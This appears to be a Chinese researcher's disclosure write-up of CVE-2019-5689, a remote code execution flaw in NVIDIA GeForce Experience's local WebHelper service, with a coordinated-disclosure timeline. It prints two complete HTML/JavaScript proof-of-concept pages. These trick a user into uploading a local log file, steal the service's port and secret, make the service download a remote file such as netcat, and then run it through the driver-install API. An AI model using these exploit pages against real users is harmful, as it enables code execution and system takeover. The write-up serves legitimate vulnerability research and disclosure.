0x02 GeForce Experience
NVIDIA在官网上如是介绍GFE: “让您的驱动程序时刻保持最新状态、一键优化游戏设置,还可与朋友们录制游戏视频、捕捉游戏画面和直播。 GeForce Experience™ 满足您的一切所需,它是 GeForce® GTX 显卡的强劲搭档。 ” 我个人是N卡死忠粉,而且平时也做一点深度学习方面的东西,所以NV家的这些东西安装得非常齐全。0x03 正文
0x03.1 与CVE-2019-5678的不解之缘
不久前,我偶然阅读了RHINO的CVE-2019-5678漏洞分析,文章里面对提到NVIDIA GeForce Experience会启动一个WebHelper程序,这个WebHelper本质上是基于NodeJS的后台,用于支持GeForce Experience进行各项功能的调用,NVIDIA通过在请求中加入secret验证以及使用动态端口号来确保WebHelper收到的请求来自可信来源,然而却在CORS中将Access-Control-Allow-Origin设置为*,即允许所有来源,在CVE-2019-5678的漏洞分析中,secret值和端口号被存储在%LOCALAPPDATA%NVIDIA CorporationNvNodenodejs.json中,可以通过在网页上欺骗用户进行交互操作来诱使用户错误地将此文件上传,在获取到secret值和端口号后,于网页中发起XHR请求来与WebHelper进行交互,再进一步利用WebHelper中NvAutoDownload.js存在的命令注入漏洞。 文章原作者在文章最后的一句话引起了我的注意,作者原话如下:
It appears to fix this issue NVIDIA has removed the endpoint which allows the command injection. However, they did not change the open CORS policy and the nodejs.json file remains at a static location. This means that it is still possible to interact with the GFE API through the browser using the method described in this blog.
大意如下:
NVIDIA的修复方法似乎值是将造成命令注入的端点直接删除。它们没有修复宽松的CORS策略,并且仍把nodejs.json文件存放在静态位置。所以我仍然可以用这篇文章讲的方法与GFE API端点交互
这句话深深地启发了我,既然我仍然可以与WebHelper交互,那么我可不可以在WebHelper浩如烟海的API中寻找另外的更隐蔽的漏洞点呢。
0x03.2 与WebHelper交互的可能性探讨
说干就干,我来到C:\Program Files (x86)\NVIDIA Corporation\NvNode目录下,此处存放的是WwebHelper所用到的一些JS文件以及一些使用C++写的node文件,进行来源验证的代码在index.js中,如下图,确实与RHINO的分析中一致:0x03.3 漏洞挖掘
要寻找漏洞,我可以从看起来比较危险或者和外部发生频繁数据交换的功能开始下手,结合GFE本身的主要功能,纵观整个WebHelper中的API,我对GFE的驱动下载API产生了兴趣,于是把主要关注点放在downloader.js中,在downloader.js中,我发现了驱动下载的API:
<html>
<head>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js">script>
head>
<body>
<script>
//Send request to local GFE server
url = "https%3a%2f%2feternallybored.org%2fmisc%2fnetcat%2fnetcat-win32-1.11.zip";
function submitRequest(port, secret) {
xhrUpload = new XMLHttpRequest();
xhrUpload.open("POST", "http://127.0.0.1:" + port + "/download/v.0.1/start/233/" + url + "/1", true);
xhrUpload.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhrUpload.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhrUpload.setRequestHeader("Content-Type", "text/html");
xhrUpload.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
xhrUpload.onreadystatechange = function() {
if (xhrUpload.readyState === 4) {
if (xhrUpload.status == 200) {
console.log(xhrUpload.responseText);
}
}
}
xhrUpload.send(null);
}
$(document).on('change', '.file-upload-button', function(event) {
var reader = new FileReader();
reader.onload = function(event) {
var log = event.target.result;
var pat1 = new RegExp('port": (.*?),');
var pat2 = new RegExp('secret": "(.*?)"');
var port = pat1.exec(log)[1];
var secret = pat2.exec(log)[1];
console.log(port);
console.log(secret);
submitRequest(port, secret);
}
reader.readAsText(event.target.files[0]);
});
//Copy text from some text field
function myFunction() {
var copyText = document.getElementById("myInput");
copyText.select();
document.execCommand("copy");
}
//trigger the copy and file window on ctrl press
$(document).keydown(function(keyPressed) {
if (keyPressed.keyCode == 17) {
myFunction();
document.getElementById('file-input').click();
}
});
script>
<h2>
Press CTRL+V+Enter
h2>
<input type="text" value="%LOCALAPPDATA%NVIDIA CorporationNVIDIA Shareconsole.log" id="myInput" style="opacity: 0;" readonly>
<input id="file-input" onclick="this.value=null;" class='file-upload-button' type="file" name="name" style="display: none;" />
body>
html>
需要注意的是,使用驱动下载API仅仅会创建下载任务,并不保证响应时对应任务已经下载完成。
特别地,由于我采用本机或局域网测试,故在测试时每次文件下载完成度几乎都为100%,不需要特意操心这个问题,如果要在远程进行利用,则应该使用查询特定任务下载进度的API进行轮询。
在POC中,需要按下Ctrl+V+Enter,按下Ctrl键时,隐藏控件里面包含的console.log路径%LOCALAPPDATA%NVIDIA CorporationNVIDIA GeForce Experienceconsole.log会被复制到剪贴板,然后打开一个文件选择对话框,此时按下V的作用是将路径粘贴到文件选择对话框中,再按Enter,console.log即被上传,通过正则匹配获取到端口号和secret值,构造XHR请求来发起文件下载,并打印Webhelper后端返回的信息,执行此POC后,可以看到控制台输出了如下内容:
#include "stdafx.h"
#include
int main()
{
MessageBoxA(NULL, "I love FRY forever.", NULL, NULL);
return 0;
}
接下来考虑如何执行我植入的文件,此时我忽然灵光乍现,GFE本身是驱动下载安装一气呵成的,WebHelper既然提供驱动下载API,那么很可能也有驱动安装相关的API,而驱动安装就涉及到执行下载后的文件,于是马上回到WebHelper的js源码,看到一个名为DriverInstallAPI.js的文件,在里面发现驱动安装的API,如下图:
0x04 POC
本地测试的POC如下:
<html>
<head>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js">script>
head>
<body>
<script>
//Send request to local GFE server
function submitRequest(port, secret) {
var xhrUpload = new XMLHttpRequest();
//Edit the port number of http%3a%2f%2f127.0.0.1%3a8080%2fexp.zip according to the server port config(Here are 8080)
xhrUpload.open("POST", "http://127.0.0.1:" + port + "/download/v.0.1/start/233/http%3a%2f%2f127.0.0.1%3a8080%2fexp.zip/1", true);
xhrUpload.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhrUpload.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhrUpload.setRequestHeader("Content-Type", "text/html");
xhrUpload.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
xhrUpload.send(null);
xhrUpload.onreadystatechange = function() {
if (xhrUpload.readyState === 4) {
if (xhrUpload.status == 200) {
console.log(xhrUpload.responseText);
var downloadLocation = JSON.parse(xhrUpload.responseText)["downloadedLocation"];
var xhrExecute = new XMLHttpRequest();
xhrExecute.open("POST", "http://127.0.0.1:" + port + "/DriverInstall/v.0.1/Start", true);
xhrExecute.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhrExecute.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhrExecute.setRequestHeader("Content-Type", "text/html");
xhrExecute.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
xhrExecute.send(JSON.stringify({
'pfwLocation': downloadLocation,
'isPfw': true,
'driverLocation': downloadLocation,
'isCustom': false
}));
xhrExecute.onreadystatechange = function() {
if (xhrExecute.readyState === 4) {
if (xhrExecute.status == 201) {
console.log(xhrExecute.responseText);
console.log("should RCE");
}
}
}
}
}
}
}
$(document).on('change', '.file-upload-button', function(event) {
var reader = new FileReader();
reader.onload = function(event) {
var log = event.target.result;
var pat1 = new RegExp('port": (.*?),');
var pat2 = new RegExp('secret": "(.*?)"');
var port = pat1.exec(log)[1];
var secret = pat2.exec(log)[1];
console.log(port);
console.log(secret);
submitRequest(port, secret);
}
reader.readAsText(event.target.files[0]);
});
//Copy text from some text field
function myFunction() {
var copyText = document.getElementById("myInput");
copyText.select();
document.execCommand("copy");
}
//trigger the copy and file window on ctrl press
$(document).keydown(function(keyPressed) {
if (keyPressed.keyCode == 17) {
myFunction();
document.getElementById('file-input').click();
}
});
script>
<h2>
Press CTRL+V+Enter
h2>
<input type="text" value="%LOCALAPPDATA%NVIDIA CorporationNVIDIA Shareconsole.log" id="myInput" style="opacity: 0;" readonly>
<input id="file-input" onclick="this.value=null;" class='file-upload-button' type="file" name="name" style="display: none;" />
body>
html>
为远程利用编写的POC已上传github,可以在此处找到:
https://github.com/InoriJam/CVEs/tree/master/CVE-2019-5689
感想
这次漏洞挖掘经历,是我个人的一次成长,我第一次站在安全研究员的角度去分析问题,实现了从0到0day的突破,有感想如下:- 1.不要总是相信补丁已经解决了一切问题,应该总是去实际验证补丁是否实际解决了问题,
- 2.有一说一,在本漏洞挖掘过程中,我曾无数次想过放弃,但是最后都坚持下来了,最后成功弹出计算器的那一刻,激动之情溢于言表。搞安全享受的就是这种山重水复疑无路,柳暗花明又一村,最后克服重重困难,成功exploit的快感不是么?
- 3.如果本文能够给大家带来一些有用的东西,我就感觉非常开心了。
致谢
本漏洞的发现受到了David Yesland ( https://twitter.com/daveysec @daveysec )发现的CVE‑2019‑5678的启发,同时POC部分参考了 https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-5678参考
- 0x01. NVIDIA GeForce Experience OS Command Injection CVE-2019-5678
- 0x02. GeForce Experience OS 命令注入
- 0x03. POC of CVE-2019-5678
- 0x04. DLL-hijack-X64
时间线
- 2019.08.06 发现漏洞
- 2019.08.07 邮件告知NVIDIA并附带POC
- 2019.08.21 NVIDIA确认漏洞存在
- 2019.09.06 NVIDIA通知将在10月的第一周发布补丁
- 2019.09.19 NVIDIA将补丁发布时间延迟到10月29日
- 2019.10.29 NVIDIA将补丁发布时间延迟到11月的第一周
- 2019.11.04 NVIDIA修补此漏洞
- 2019.11.07 NVIDIA发布安全公告及公开致谢
- 2019.11.08 本漏洞遵循CVD进行披露